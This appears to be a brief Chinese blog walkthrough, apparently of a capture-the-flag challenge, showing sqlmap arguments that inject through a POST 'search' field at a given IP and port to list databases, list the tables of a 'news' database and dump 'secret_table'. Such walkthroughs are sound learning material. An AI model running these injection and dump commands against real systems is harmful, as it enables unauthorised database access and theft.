sqlmap使用的指令,如何进行sql注入
列出数据库的信息
-u http://159.138.137.79:50870/ –data “search=df” -dbs
![](https://www.cztcode.com/wp-content/uploads/2020/04/74-1024x512.png)
可以看到这个数据库里面有两个表
列出某个表
-u http://159.138.137.79:50870/ –data “search=df” -D news –tables
![](https://www.cztcode.com/wp-content/uploads/2020/04/75-1024x512.png)
查看表信息
-u http://159.138.137.79:50870/ –data “search=df” -T secret_table –dump
![](https://www.cztcode.com/wp-content/uploads/2020/04/image-1024x512.png)
还会继续补充—–